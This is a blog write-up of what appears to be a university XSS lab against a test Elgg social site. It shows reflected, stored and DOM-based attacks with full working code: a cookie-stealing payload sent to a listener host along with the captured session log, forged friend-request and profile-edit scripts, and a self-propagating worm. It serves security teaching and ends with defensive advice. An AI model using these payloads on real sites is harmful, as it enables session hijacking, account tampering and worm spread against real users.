Post

Cross-Site Scripting Attack (XSS)

Cross-Site Scripting Attack (XSS)

This report explores web security vulnerabilities by demonstrating three types of Cross-Site Scripting (XSS) attacks on a website popular around 2005. The attacks covered are:

  1. Reflected XSS
  2. Stored XSS
  3. DOM-based XSS

Each section includes enumeration, exploitation techniques, and practical examples to illustrate how these vulnerabilities can be exploited.

alt text

1. Reflected XSS

Enumeration

During enumeration, I identified an editable “About” form on the website that processes user input. alt text

By submitting a simple HTML tag, <p>I am the famous **test1234** <u>Master </u> </p>, I confirmed that the website renders user input without proper sanitization, allowing HTML code execution.

alt text

This vulnerability suggests the potential for injecting malicious JavaScript code.

Exploiting

To test for Reflected XSS, I injected a simple JavaScript payload: <script> alert("hacked");</script>

alt text The alert box displayed, confirming that JavaScript execution is possible, making the site vulnerable to Reflected XSS attacks.

2. Stored XSS

To explore Stored XSS, I tested whether cookies could be accessed and exfiltrated. I injected the following payload to display the document’s cookies:

alt text

The alert successfully displayed the cookie, confirming that JavaScript can access sensitive data. Next, I crafted a payload to steal cookies by sending them to a controlled server:

1
2
3
<script>
document.write('<img src="http://10.9.0.1:5555?c:'+(document.cookie)+'">');
</script> 

or

1
2
3
<script>
document.write('<img src="http://10.9.0.1:5555?c=' + encodeURIComponent(document.cookie) + '">');
</script>

I set up a listener on my server using Netcat: nc -l -p 5555 -n -k -v

The listener captured the following request, including the user’s cookie:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
┌──(root㉿kali)-[/home/…/web/module_2]
└─# nc -l -p 5555 -k -v -n
listening on [any] 5555 ...
connect to [10.9.0.1] from (UNKNOWN) [192.168.64.12] 38050
GET /?c:Elgg=to8cmeaafevbh5d47tib20l7ui HTTP/1.1
Host: 10.9.0.1:5555
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0
Accept: image/avif,image/webp,image/png,image/svg+xml,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://www.seed-server.com/
Connection: keep-alive
Priority: u=4, i

$

This captured cookie (Elgg=to8cmeaafevbh5d47tib20l7ui) can be used to impersonate the user.

Attack to Befriend a User (GET Request)

I analyzed the website’s friend-adding mechanism, which uses a GET request with the following parameters:

alt text

  1. friend=58 (the target user’s GUID)
  2. __elgg_ts=1761177697 (timestamp)
  3. __elgg_token=THpb4xfz3osE5634RlcsmQ (security token)

These parameters are dynamically generated by JavaScript, so hardcoding them is not feasible. I crafted a script to dynamically fetch the timestamp and token, then send a friend request on behalf of the victim:

alt text

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<script type="text/javascript">
window.onload = function(){


  // Get the timestamp and token from elgg

  var ts = "&__elgg_ts=" + elgg.security.token.__elgg_ts;
  var token = "&__elgg_token=" + elgg.security.token.__elgg_token;

  // Construct the URL to add Samy (user 59) as a friend
  var sendurl = "http://www.seed-server.com/action/friends/add?friend=59" + token + ts;


  // Create and send the AJAX request

  var Ajax = new XMLHttpRequest();
  Ajax.open("GET", sendurl, true);
  Ajax.send();
  
};
</script>

By embedding this script in Samy’s “About” section, when Alice visits Samy’s profile, the script executes and sends a friend request to add Samy to Alice’s friend list.

alt text

The network tab confirms the GET request was sent, successfully adding Samy to Alice’s friend list.

Attack to Inject Code on Alice Profile (Post request)

To modify a user’s profile, I analyzed the website’s profile-editing mechanism, which uses a POST request with the following parameters:

alt text

  • &name=Samy
  • &description=Samy is my hero
  • &accesslevel[descriptopion]=2
  • …..(omotted lines) …..
  • &guid=47

I constructed a malicious Ajax POST request to edit Alice’s profile when she visits Samy’s profile:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
<script type="text/javascript">
window.onload = function(){

    var name = "&name=" + elgg.session.user.name;
    var guid = "&guid=" + elgg.session.user.guid;
    var ts = "&__elgg_ts=" + elgg.security.token.__elgg_ts;
    var token = "&__elgg_token=" + elgg.security.token.__elgg_token;

    var desc = "&description=Samy is my hero" + "&accesslevel[description]=2";

    // Construct the content of your url.
    var sendurl = "http://www.seed-server.com/action/profile/edit";

    var content = token + ts + name + desc + guid;
    // var samyGuid = "&guid=59";

    if (elgg.session.user.guid != 59) {

        // Create and send Ajax request to modify profile

        var Ajax = null;
        var Ajax = new XMLHttpRequest();
        Ajax.open("POST", sendurl, true);
        Ajax.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
        Ajax.send(content);
    }
}
</script>

When Alice visits Samy’s profile, this script executes, modifying her profile to include “Samy is my hero.”

alt text

3. DOM-based XSS ( self-propagating XSS worm)

To create a self-propagating XSS worm, I designed a payload that modifies a victim’s profile and embeds a copy of itself, spreading to other users who view the infected profile. This is achieved using DOM APIs.

DOM Approach

The worm retrieves its own code using the DOM, ensuring it can propagate itself. The following example demonstrates how the worm accesses its code:

1
2
3
4
5
6
7
<script id="worm">
var headerTag = "<script id=\"worm\" type=\"text/javascript\">"; ➀
var jsCode = document.getElementById("worm").innerHTML; ➁
var tailTag = "</" + "script>"; ➂
var wormCode = encodeURIComponent(headerTag + jsCode + tailTag); ➃
alert(jsCode);
</script>

The innerHTML property retrieves the code inside the <script> tags, and the headerTag and tailTag are added to reconstruct the full script. The encodeURIComponent function URL-encodes the worm for inclusion in HTTP requests.

An alternative method involves hosting the worm on an external server and including it via the src attribute: <script type="text/javascript" src="http://www.example.com/xss_worm.js"></script>

This approach simplifies propagation, as the worm only needs to copy the <script> tag to the victim’s profile. However, it requires an external server to host the malicious script.

Full DOM-based Worm

The complete worm modifies the victim’s profile and embeds itself:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
<script type="text/javascript" id="worm">
window.onload = function(){


  var headerTag = "<script id=\"worm\" type=\"text/javascript\">";
  var jsCode = document.getElementById("worm").innerHTML; 
  var tailTag = "</" + "script>";

  //puting the pieces together
  var wormCode = encodeURIComponent(headerTag + jsCode + tailTag);

    // Set the content of the description field and access level
    var desc = "&description=Samy is my hero" + wormCode
    desc    +="&accesslevel[description]=2";


    // Ge the name, user guid, Time Stamp and Security Token 

    var name = "&name=" + elgg.session.user.name;
    var guid = "&guid=" + elgg.session.user.guid;
    var ts = "&__elgg_ts=" + elgg.security.token.__elgg_ts;
    var token = "&__elgg_token=" + elgg.security.token.__elgg_token;


    // Construct the content of your url.
    var sendurl = "http://www.seed-server.com/action/profile/edit";
    var content = token + ts + name + desc + guid;

    // var samyGuid = "&guid=59";

    if (elgg.session.user.guid != 59) {

        // Create and send Ajax request to modify profile

    var Ajax=null;
    var Ajax = new XMLHttpRequest();
    Ajax.open("POST", sendurl, true);
    Ajax.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
    Ajax.send(content);
    }
}
</script>  

When a user (e.g., Alice) visits Samy’s profile, the worm modifies their profile to include “Samy is my hero” and embeds a copy of itself. Any user visiting Alice’s profile will also be infected, propagating the worm.

Conclusion

This lab demonstrates reflected, stored, and DOM-based XSS vectors on a test instance and highlights how malicious client-side scripts can act with a victim’s privileges. The central takeaway: never trust user input — validate and escape on the server, implement defense-in-depth (HttpOnly, CSP, CSRF tokens), and regularly audit code.

This post is licensed under CC BY 4.0 by the author.